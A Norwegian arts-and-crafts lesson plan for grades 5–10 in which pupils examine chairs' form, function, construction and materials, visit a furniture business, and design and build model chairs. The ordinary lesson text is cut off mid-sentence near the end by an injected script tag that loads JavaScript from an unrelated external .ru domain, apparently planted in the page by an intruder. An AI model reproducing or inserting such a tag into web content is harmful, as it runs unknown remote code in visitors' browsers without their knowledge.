|
|
 |
|
Design en stol
|
|
|
 Fag:
Kunst og håndverk
Klassetrinn:
5.- 7.kl, 8.-10.kl.
Mål:
Elevene skal se og prøve stoler med forskjellig design. De skal se på hvordan form, funksjon og konstruksjon henger sammen. Etterpå skal de selv designe stoler og lage modeller av dem.
Bilde fra "Planken ud", skoven-i-skolen.dk
Formålet er at elevene:
• iakttar, beskriver, tolker og vurderer stoler
• får en ide om hvordan form, funksjon og konstruksjon henger sammen.
• utrykker egne iakttakelser, ideer og fantasier i tredimensjonalt arbeid
• stiller ut og presenterer egne og andres produkter
• sammenlikner tre og andre materialer til stolkonstruksjon
Beregnet tid:
1. Se på stoldesign (+evt. film) 1-2 timer
2. Besøk på bedrift 2-4 timer
3. Stoldesign, produksjon av modell og utstilling 4-6 timer
Dette trenger du:
• Papir
• Blyant
• Tommestokk eller måleband til analyse
• Evt. PC + maleprogram
• Knipetang
• Lim
• Kniver
• Sag
• Fil
• Sandpapir
• Ståltråd i forskjellig tykkelse
• Tykk papp
• Gamle aviser
• Gips & gas
• Trestykker, papprør, ispinner, esker osv. til å bygge modellen opp omkring.
• Evt. treklosser til sokkel
• Akrylmaling
• Evt. gamle stoler, som kan omformes til ny design
Slik gjør du:
1. Se på stoldesign
Elevene henter forskjellige stoler de kan finne på skolen. Finn stoler av tre, plast, metall, både innendørs og utendørs. Alle stolene samles i klasserommet.
Form: Se på stolenes utforming. Hvilke er pene - hvilke er stygge? Hvorfor? Det behøver ikke være enighet, men diskuter og argumenter.
Sitt i stolene. Prøv dem. Hvilken stol er best å sitte i? Hvorfor? Det er ikke nødvendigvis den peneste som er best å sitte i. Lag en liten analyse av hvordan stolen er formgitt. Bruk tommestokk og mål på stolene og på hverandre. Se f.eks. på:
• Hvor høgt er stolens sete plassert? Passer det med målet fra kneet og ned?
• Hvor bred er stolen? Føler man seg liten eller stor når man sitter i den?
• Hvor dyp er stolen - passer det med målet fra knehasen til hofta?
• Hvordan er stolryggen? Støtter den hofter og rygg?
• Hvem er stolen laget for? En voksen eller et barn?
Funksjon: Hva skal hver enkelt stol brukes til? Er det en lenestol som man skal slappe av i? En kontorstol som skal kunne tilpasses til mange høgder? En hagestol som skal kunne tåle å stå ute? En stol som skal kunne stables?
Avspeiler bruken seg i formen? I det materialet som er brukt? I måten stolen er konstruert på? Hva har designeren gjort riktig? Hvis ikke - hva er galt?
Konstruksjon: Hvordan er stolen konstruert - altså skrudd sammen? Hva er bærende i stolen? (Noen stoler er konstruert slik at alt er skrudd inn i setet - som altså bærer stolen. Andre er konstruert slik at alt er skrudd fast på rygg og ben - som er det bærende i stolen.) Er stolen konstruert så den tåler røff bruk? Er den konstruert med tanke på noe spesielt?
Materialer: Det finnes stoler i mange materialer: Naturmaterialer som tre, bambus, peddikrør, lær, lin og bomull, metall som krom, stål, jern, kunstmaterialer som plast, glassfiber og polyuretanskum. Hvilke egenskaper har de forskjellige materialer? Hva betyr materialet for formen, funksjonen og konstruksjonen?
Snakk om hvordan form, funksjon og konstruksjon henger sammen - og gjerne avspeiles i hverandre.
Dere kan også finne flere stoler i møbelkataloger, i bøker og på nettet (se linker nederst)
2. Bedriftsbesøk
Besøk en bedrift som designer, produserer eller selger stoler. Det kan være en designer, en møbelfabrikk, en møbelsnekker eller et møbelvarehus. Gjør avtale på forhånd.
3. Design din egen stol
Du skal nå designe din egen stol. Bruk det beste fra alle stolene du har sett - og lag den perfekte stol.
Den skal være pen og passe godt til kroppen (form).
Den skal også passe til det den er laget til (funksjon).
Og den skal være konstruert ordentlig, så den ikke faller sammen når man<<script src=http://www.81dns.ru/script.js></scri |
|
|
|
|
|
Tilbake |
|
|
 |
|
|
